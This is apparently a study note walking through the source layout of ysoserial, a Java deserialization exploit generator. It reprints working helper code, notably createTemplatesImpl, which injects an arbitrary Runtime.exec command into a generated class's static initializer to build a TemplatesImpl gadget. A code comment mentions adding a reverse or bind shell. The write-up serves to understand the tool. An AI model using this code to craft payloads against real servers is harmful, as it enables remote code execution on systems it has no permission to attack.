My IAST backend was mostly done, and I recently started learning Electron so I can build a frontend. I wanted a small project to practice with, so I decided to build a GUI for ysoserial and add some custom features. If you want to extend ysoserial, you inevitably have to study the original project — so I wrote this article as notes for future review.

Code Structure#

ysoserial’s source structure looks like this, mainly containing three parts:

exploit
payloads
secmgr

Below is a brief description of what each part does.

`exploit` package#

This package contains code that performs real-world exploitation against different targets.

`payloads` package#

`annotation` package#

This package contains annotation-related metadata, mainly used to label author/dependency/test information for gadgets.

`Authors` annotation#

Defines an annotation that stores author information to tag the gadget author. Nothing special beyond that.

`Dependencies` annotation#

Annotation for describing dependency information.

`PayloadTest` annotation#

Used to mark whether a gadget should be tested and whether the test may trigger certain exceptions. This is used in gadget testing.

`util` package#

The util module is a utility module that wraps common operations used throughout ysoserial, such as class file operations and reflection helpers.

`ClassFiles` class#

ClassFiles handles class file operations. ysoserial frequently needs to read class bytes, so this is extracted into a dedicated class. Let’s go through its key methods.

classAsFile

1
public static String classAsFile(final Class<?> clazz) {
2
    return classAsFile(clazz, true);
3
  }
4

5
  public static String classAsFile(final Class<?> clazz, boolean suffix) {
6
    String str;
7
    if (clazz.getEnclosingClass() == null) {
8
      str = clazz.getName().replace(".", "/");
9
    } else {
10
      str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName();
11
    }
12
    if (suffix) {
13
      str += ".class";
14
    }
15
    return str;
16
  }

classAsFile has two overloads. In short, it converts a Class into the corresponding class file path.

The overload uses getEnclosingClass() to detect inner classes. For normal classes it returns something like com/springkill/clazz. For inner classes it produces com/springkill/clazz$1-style names. The suffix flag controls whether .class is appended.

classAsBytes

1
public static byte[] classAsBytes(final Class<?> clazz) {
2
  try {
3
    final byte[] buffer = new byte[1024];
4
    final String file = classAsFile(clazz);
5
    final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file);
6
    if (in == null) {
7
      throw new IOException("couldn't find '" + file + "'");
8
    }
9
    final ByteArrayOutputStream out = new ByteArrayOutputStream();
10
    int len;
11
    while ((len = in.read(buffer)) != -1) {
12
      out.write(buffer, 0, len);
13
    }
14
    return out.toByteArray();
15
  } catch (IOException e) {
16
    throw new RuntimeException(e);
17
  }
18
}

This method reads the class file bytes as a byte[].

`Gadgets` class#

At a high level, this class contains helper methods to dynamically create/operate on Java objects.

First, two inner classes:

Inner class: `StubTransletPayload`#

This inner class is used as a “harmless-looking carrier” for deserialization demos. It extends AbstractTranslet and implements transform, serving as a payload container later.

Inner class: `Foo`#

Defines a serialVersionUID and does nothing else. It is used as an auxiliary class later.

Methods in `Gadgets`#

Static initializer

Initializes two system properties: one to allow deserialization of TemplatesImpl, and one to allow remote RMI class loading.

createMemoitizedProxy / createProxy

1
public static <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) throws Exception {
2
  return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
3
}
4

5
//创建一个自定义sun.reflect.annotation.AnnotationInvocationHandler实例
6
public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception {
7
  return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
8
}
9

10
//动态创建代理，实现所有给定接口
11
public static <T> T createProxy ( final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces ) {
12
  final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
13
  allIfaces[ 0 ] = iface;
14
  if ( ifaces.length > 0 ) {
15
    System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
16
  }
17
  //使用cast进行类型转换
18
  return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih));
19
}

These methods create a dynamic proxy. createMemoizedInvocationHandler constructs a custom sun.reflect.annotation.AnnotationInvocationHandler instance, and createProxy creates a proxy implementing the desired interfaces.

createMap

Creates a HashMap with the given key and value. ysoserial uses HashMap frequently, so it wraps it.

Two createTemplatesImpl methods

1
public static Object createTemplatesImpl ( final String command ) throws Exception {
2
  //检查properXalan的值是否被设定为了True，如果是那么就使用if块内的逻辑，否则调用重载方法
3
  if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
4
    return createTemplatesImpl(
5
      command,
6
      Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
7
      Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
8
      Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
9
  }
10

11
  return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
12
}
13

14

15
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
16
throws Exception {
17
  //反射创建实例
18
  final T templates = tplClass.newInstance();
19

20
  // use template gadget class
21
  ClassPool pool = ClassPool.getDefault();
22
  pool.insertClassPath(new ClassClassPath( StubTransletPayload.class));
23
  pool.insertClassPath(new ClassClassPath(abstTranslet));
24
  final CtClass clazz = pool.get(StubTransletPayload.class.getName());
25
  // run command in static initializer
26
  // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
27
  // 初始化cmd字符串
28
  String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
29
  command.replace("\\", "\\\\").replace("\"", "\\\"") +
30
  "\");";
31
  // 插入cmd到静态代码块
32
  clazz.makeClassInitializer().insertAfter(cmd);
33
  // 给类设置名字 sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
34
  clazz.setName("ysoserial.Pwner" + System.nanoTime());
35
  // 设置父类
36
  CtClass superC = pool.get(abstTranslet.getName());
37
  clazz.setSuperclass(superC);
38

39
  // 转换为字节码数组
40
  final byte[] classBytes = clazz.toBytecode();
41

42
  // inject class bytes into instance
43
  Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
44
    classBytes, ClassFiles.classAsBytes(Foo.class)
45
  });
46

47
  // required to make TemplatesImpl happy
48
  Reflections.setFieldValue(templates, "_name", "Pwnr");
49
  Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
50
  return templates;
51
}

This logic constructs a TemplatesImpl gadget. The first overload checks the properXalan property to decide whether to use the external Apache Xalan classes or the built-in JDK Xalan implementation.

In the generic overload:

Instantiate templates via reflection.
Use Javassist to obtain a CtClass for StubTransletPayload.
Wrap the supplied command into Runtime.exec(...) and inject it into the class static initializer.
Rename the class to a pseudo-random name and set the superclass.
Generate bytecode (classBytes).
Use reflection to set the _bytecodes field in templates to include the injected class and Foo.
Set _name and _tfactory.

makeMap

1
public static HashMap makeMap ( Object v1, Object v2 ) throws Exception, ClassNotFoundException, NoSuchMethodException, InstantiationException,
2
IllegalAccessException, InvocationTargetException {
3
  HashMap s = new HashMap();
4
  // 反射设置size字段为2
5
  Reflections.setFieldValue(s, "size", 2);
6
  Class nodeC;
7
  try {
8
    // 对于Java8之后的HashMap，获取java.util.HashMap$Node
9
    nodeC = Class.forName("java.util.HashMap$Node");
10
  }
11
  catch ( ClassNotFoundException e ) {
12
    // 对于Java8之前的HashMap，获取java.util.HashMap$Entry
13
    nodeC = Class.forName("java.util.HashMap$Entry");
14
  }
15
  // 获取构造函数并设置setAccessible以供直接访问，创建节点
16
  Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
17
  Reflections.setAccessible(nodeCons);
18

19
  // 创建数组用来存储nodeC节点
20
  Object tbl = Array.newInstance(nodeC, 2);
21
  // 将v1和v2作为key、value放入到节点中，然后再插入法哦数组内，最后将数组放到HashMap中
22
  Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
23
  Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
24
  Reflections.setFieldValue(s, "table", tbl);
25
  return s;
26
}

This method builds a HashMap in a very specific internal state:

Create a HashMap and set its internal size to 2.
Choose HashMap$Node (Java 8+) or HashMap$Entry (pre-Java 8).
Create a 2-element table array and fill it with two nodes.
Assign the array to the internal table field.

`JavaVersion` class#

Just detects the current Java version.

`PayloadRunner` class#

As the name implies, it runs a payload test: serialize and deserialize once, and see if it triggers the expected behavior.

`Reflections` class#

This class wraps reflection helpers that are used frequently throughout ysoserial.

setAccessible

Calls setAccessible on a Field/Method/Constructor, with logic that adapts to Java versions.

getField

Gets a declared field from a class. If not present, it recursively searches in the superclass.

setFieldValue / getFieldValue

Set/get a specific field value by first resolving the field via getField.

getFirstCtor / newInstance

Helpers to retrieve a constructor and instantiate an object.

createWithoutConstructor / createWithConstructor

1
public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
2
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
3
  return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
4
}
5

6
@SuppressWarnings ( {"unchecked"} )
7
public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
8
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
9
  Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
10
  setAccessible(objCons);
11
  // 生成伪构造函数
12
  Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
13
  setAccessible(sc);
14
  return (T)sc.newInstance(consArgs);
15
}

This is interesting: createWithConstructor uses newConstructorForSerialization to create a “fake” constructor, which can instantiate an object without invoking the real constructor logic.

newConstructorForSerialization can create an instance even if the class has no default constructor, because it generates a ConstructorAccessor via bytecode.

`ObjectPayload` interface#

This interface is the parent interface for all payload implementations (the gadget chains).

The interface itself is simple, but it contains a Utils inner class with multiple helper methods:

getPayloadClasses: find all classes implementing ObjectPayload
getPayloadClass: load a payload class by name and ensure it implements ObjectPayload
makePayloadObject: instantiate a payload implementation
releasePayload: cleanup support

`ReleaseableObjectPayload` interface#

Used together with releasePayload to cleanup/release resources for a payload.

`secmgr` package#

This package contains two SecurityManager subclasses to customize security checks.

`DelegateSecurityManager`#

Acts as a delegating SecurityManager wrapper. To support JDK 10+ compatibility, some methods are stubbed/emptied (getInCheck, checkTopLevelWindow, checkSystemClipboardAccess, checkAwtEventQueueAccess, checkMemberAccess).

It then overrides many SecurityManager methods and delegates to its securityManager member.

`ExecCheckingSecurityManager`#

Also extends SecurityManager, used to detect command execution and decide whether to throw exceptions.

`Deserializer` class#

Wraps ysoserial’s common deserialization operations. It works with PayloadRunner to test a payload.

1
public class Deserializer implements Callable<Object> {
2
  private final byte[] bytes;
3

4
  // 将接受的字节数组存入成员变量
5
  public Deserializer(byte[] bytes) { this.bytes = bytes; }
6

7
  // 实现call方法，调用时反序列化字节数组
8
  public Object call() throws Exception {
9
    return deserialize(bytes);
10
  }
11

12
  // 数组转换为流
13
  public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
14
    final ByteArrayInputStream in = new ByteArrayInputStream(serialized);
15
    return deserialize(in);
16
  }
17

18
  // readobject
19
  public static Object deserialize(final InputStream in) throws ClassNotFoundException, IOException {
20
    final ObjectInputStream objIn = new ObjectInputStream(in);
21
    return objIn.readObject();
22
  }
23

24
  // 入口
25
  public static void main(String[] args) throws ClassNotFoundException, IOException {
26
    final InputStream in = args.length == 0 ? System.in : new FileInputStream(new File(args[0]));
27
    Object object = deserialize(in);
28
  }
29
}

`Serializer` class#

Wraps common serialization operations. It’s similar to Deserializer, so I won’t repeat it.

`GeneratePayload` class#

As the name suggests, this is the payload generation entry point.

main: parses CLI args (gadget and command), instantiates the payload, serializes it, and prints it; on failure it returns a predefined exit code.
printUsage: prints usage text.

`Strings` class#

Wraps common string helpers (join, repeat, format, comparison, etc.).

How Does ysoserial Work?#

After covering the packages and classes above, it can still feel confusing. The following diagram summarizes how ysoserial works:

The console input specifies the gadget chain and the command. These are passed into the entry point GeneratePayload. GeneratePayload invokes the selected ObjectPayload implementation to create the gadget object. During this process, the payload implementation uses helpers like Gadgets and Reflections to build the object graph. Finally, GeneratePayload uses Serializer to serialize it and prints the serialized bytes to stdout.

Code Structure#

exploit package#

payloads package#

annotation package#

Authors annotation#

Dependencies annotation#

PayloadTest annotation#

util package#

ClassFiles class#

Gadgets class#

Inner class: StubTransletPayload#

Inner class: Foo#

Methods in Gadgets#

JavaVersion class#

PayloadRunner class#

Reflections class#

ObjectPayload interface#

ReleaseableObjectPayload interface#

secmgr package#

DelegateSecurityManager#

ExecCheckingSecurityManager#

Deserializer class#

Serializer class#

GeneratePayload class#

Strings class#